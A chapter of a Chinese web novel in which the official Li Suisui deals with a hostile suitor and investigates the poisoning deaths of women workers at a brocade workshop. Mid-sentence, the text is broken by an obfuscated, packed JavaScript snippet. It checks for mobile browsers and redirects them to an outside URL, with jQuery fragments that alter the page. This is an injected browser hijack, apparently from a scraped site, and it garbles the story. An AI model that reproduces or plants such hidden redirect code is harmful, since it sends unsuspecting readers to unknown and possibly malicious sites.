严津河自知理亏,却又说不出什么。
他本就看不惯对方这个人,如今更是被李穗岁拒绝了,忽而想到了苏旻的话:“那还请问姑娘,为何与这油嘴滑舌的人成了亲。”
“我与谁成亲,与你何干。多管闲事。”李穗岁看着面前这人就觉得晦气,分明没见过两次,却莫名想要干涉自己的事情。
许颂晏更是在李穗岁身后张牙舞爪,故意挑衅,气得严津河直接将秦嬷嬷奉上的茶盏也摔在地上。
“赔钱!”苏旻听见里面的争执,就十分担心。
当茶盏落在地上之后,整个人更是发出了尖锐的爆鸣声:“你疯了吧?!”
“姑娘,您没事吧?”苏旻绕过严津河和那摊碎片,三两步上前围着李穗岁和许颂晏认真地检查了一遍。
苏旻此时对严津河已经没了任何耐心:“云景工坊一事,我家姑娘不欠你的。你何苦砸了我家姑娘的一片好心。”
说罢,她深吸一口气,从自己的衣袖里拿出一份账单:“这是公子砸坏的账单,还请您如价赔偿。如果公子没钱,我们明日就去严府找老坊主要钱就是。”
还不等严津河回话,对方就直接招来镖师,强硬地将他送了出去。
苏旻等看不见他人了,才回头对着李穗岁准备请罪。
李穗岁摆摆手:“今日,还好你机灵。”
她的身份做不到找他直接要赔偿,万一对方状告她敲诈百姓,那可就麻烦了。
至于许颂晏,这家伙没开口对方都要炸了,等开了口,还不知道要怎么呢。
秦嬷嬷上前填了一杯茶水:“所以,旻旻,看人不能只看一张脸。”
“我知道了,嬷嬷。”苏旻有些不情愿,原本她看人很准的。可不知为何,在严津河身上失去了作用。
一想到他砸出来的茶盏只离李穗岁不到一米,她就心慌。姑娘若是挂了相,就不能继续做女官了。
严津河好狠毒的心!
相反,出去了的严津河却一改之前的模样。
他脸色深沉,看起来总觉得哪里不对。却又说不上来,他这些日子派出去的人都被暗中拦截住了,一时半会也传不出去消息。
想到这里,他又去了一趟百世茶楼:“铃铛水那边还没有给消息吗?”
七娘摇摇头,她自从知道自家主子和景王那边不对付之后,就故意延迟了消息。只怕这会,才到永州罢了。从永州那边到京城还有小半个月呢,就算一来一回,也够主子自己做事情了。
严津河死死地盯着七娘的眼睛,却无法从中看出心虚。他只好叹了口气:“有消息了,记得派人通知我一声。”
“那是自然,只是今年的路,好像格外难走。总是被人拦着,不若蔷月梅先生自己去问算了?”七娘吃准了严津河不敢随便离开,故意在他面前抱怨了两句。
自从开朝皇帝是因为信鸽造反成功,便只有一些特定的人才能养信鸽。这些特定的皇室中人,往往都是在边关立了战功的人。
严津河既没有立战功,又不是什么特定的皇族的人。别说信鸽了,他长到这么大连个鸽子的羽毛都没见到。
他哼哼唧唧两声,转头就走。
七娘算了算时间,觉得他走出了二里地之后,才松了口气。
她将一封信放在篮子里面,又托人送到了林记卖菜的地方,由那边的内线送到了李穗岁手里。
次日清晨,秦嬷嬷从林记卖菜的线人手里,拿到了七娘给李穗岁的东西。
李穗岁打开轻扫了一眼,差不多都了解了个大概。
她冷哼一声,一句话都没说。只是很平淡地将手中的东西递给了许颂晏:“你先回京一趟,我再过两天,我也回来。”
许颂晏看罢,直接将手中的信件用烛火一烧:“那我把蔡力他们给你留下,我现在就动身回去找梓格兄。”
“辛苦了,夫君。”李穗岁本想喊许公子。
却忽然想到那日,她喊对方夫君。对方的脸颊恍若天边的火烧云,看上去都纯情了不少。
莫名的,她就又想喊一声。
只是许颂晏似乎看出来了,眼疾手快地捂了上去:“你不准喊了,我现在就走,招呼好你自己。”
他几乎是说完就落荒而逃,看的李穗岁不禁哑然失笑。
她无声地又念了一遍,怎么觉得上辈子这么梳理的词,这辈子这么有趣?
随即,她端起茶盏,轻抿了一口。也就两刻钟的功夫,昨日的城主和仵作们就过来了。
“少卿大人,请问。”还不等城主问出话,李穗岁便故作烦恼得揉揉脑袋:“这些姑娘,当真都是中了毒?”
可是这毒,李穗岁第一时间就让七娘她们去打听了。根本就没这个毒,如果不是,怎么可能能造成这么多人的死亡?
更何况,自己昨天下午就换了一身装扮去了一趟严氏工坊,什么都没找出来。
就连严月华,都伪装的格外像。
若不是七娘说君斯洛和严津河私下有往来,自己还真不清楚。
可是,君斯洛这个时候就已经勾搭上皇帝了吗?不应该吧?
李穗岁沉默不语,底下的仵作们也不敢说话。倒是一旁的苏旻,想到李穗岁早上递给自己的纸条,上前一步。
“诸位大人,这蔷城除了如此多的案子。只怕,这段时间不安宁吧?”苏旻润润嗓子:“再者说了,蔷城想来安稳,如果不是有人故意搅浑水。恐怕,也不会有今天的事情不是吗?”
苏旻故意把语调拉长,往前探半个身子:“大人们,我们家少卿大人,也不是为了威胁各位。只是这案子,是上面的要求。万一搞砸了,这后果。”
她还没说完,就被李穗岁“适时”的打断了:“苏旻,你话多了。”
两人一唱一和,竟将这群官场上的老油条们给唬住了。
看着他们神色各异的样子,李穗岁在心中冷哼一声。果然还是得扯大旗,才能唬住这群人。
最后还是乔思宇站了出来:“倒是少卿大人费心了,下官这就去查,保证不出任何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940677|177341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
差错。”
“也罢,我过几日要回去了。”李穗岁故作停顿,微微加重力气,将茶盏放在桌上:“还望各位大人,往里面多看看,多走走。”
乔思宇后背泛起一阵凉意,额间渗出几滴汗水,他也不敢去擦,只好毕恭毕敬的退了下去。
出了李穗岁的门,里面的人和外面的人同时松了口气。
她拉起苏旻的手,眼神坚定得看向秦嬷嬷:“这里面,交给您了。”
说罢,她招来昨天给她易容的镖师,看向对方:“我今日想变成蔷城做好看的富家小姐,最好能华丽一点。”
“是。”这群镖师对于她这种性格好,还不喜欢挑三拣四,目的清晰的雇主十分有好感。
而她则在心里盘算着昨天说的那个身份,能不能糊弄住大多数人。
不多时,她在镖师的掩护下,跟着她从另外一个门出去了。
严津河不死心,在她出门后,又来找她。他今天可是打听清楚了,李穗岁身边那个讨厌鬼,已经在早上的时候就出门了。
只是他连李府的门都没进去,就被秦嬷嬷拦在外面了:“我家夫人说,你也别动这些歪脑筋了。她与姑爷情投意合,谁都插不进的。你一个好端端的少坊主,何苦进我们李府做妾呢?”
“呸,你才做妾。”严津河没想到对方会如此羞辱自己,他抿唇不语,内心却郁闷至极。
若非那人的要求,自己怎么都不会这种家伙打交道。
身边的丫鬟没有礼貌,她也是个无礼的。
还做妾呢,就是明媒正娶,也不可能!
秦嬷嬷看着他远去的背影,狠狠地呸了一声。
这种人也配见到自家姑娘?做他的春秋大梦去吧!
至于漩涡中心的李穗岁本人,则是很认真地听着七娘说话。
“大概就是这样,姑娘。”七娘将刚才自己收集来的资料一一给她展开:“这些死掉的女工大多都是对于云景有自己独特看法的,而且在这里也工作了很久。”
只是她们刚说想去京城搏一个前程,然后就没了自己的命。
这种巧合实在是过于偶然,以至于她们都不敢细想,这到底是谁要这么做。
“但是看售卖记录而言,好像严氏工坊也没有亏损才是?”李穗岁仔细地翻了一遍:“尤其是这个,虽然她是最早提出要走的人,但是她离开的那一个月严氏工坊的单子多了120多个。”
“就是这么奇怪。”七娘想了一下,忽然转过身,进到了里屋。
不多时,她抱着一匹云景出现在李穗岁的面前:“这是那个月我去买的,这边的姑娘都喜欢用云景。所以每个月都会跟着姐姐买一些。”
只不过她这个身份平常也不是经常出去,所以这些衣服也就不用时常换新的。
况且她这个人对换新衣服没什么兴趣,只对新消息有兴趣。
这才将那个月的云景留了下来。
李穗岁示意身后的镖师将这个月的云景摆了上来,两箱放在一起对比。